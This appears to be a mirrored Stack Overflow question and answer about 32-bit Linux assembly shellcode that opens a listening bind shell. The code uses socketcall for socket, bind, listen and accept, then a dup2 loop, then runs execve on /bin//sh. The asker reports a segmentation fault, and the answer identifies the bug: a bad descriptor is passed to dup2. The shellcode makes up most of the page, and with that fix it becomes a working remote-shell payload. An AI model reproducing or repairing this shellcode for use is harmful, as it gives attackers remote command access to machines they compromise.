Domanda

I am trying to open a listener using shellcode but i get segmentation error , i read that this error is due to writing into read only location in memory , and that -N option in the ld linker will solve it out which did not work for me.
the code :

BITS 32
global _start
_start:

xor eax,eax
xor ebx,ebx
cdq

push eax
push byte 0x01
push byte 0x02


mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax

push edx
push 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h

push edx
push esi
mov ecx,esp
mov byte bl,0x04
mov al,102
int 80h

push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
mov ebx,esp

xor ecx,ecx
mov cl,3

loop:
dec cl
mov al,63
int 80h
jnz loop

push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 80h

i then run the following commands: nasm -f elf file.asm ld -N file.o -o file

when i run file i get segmentation error, please help .

È stato utile?

Soluzione

Learn to use a debugger and comment your code. That said, the problem seems to be with the dup2 syscall getting bad argument, because esp that gets loaded into ebx is unlikely to be a valid descriptor. This results in an error return, which then screws up all further syscalls.

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top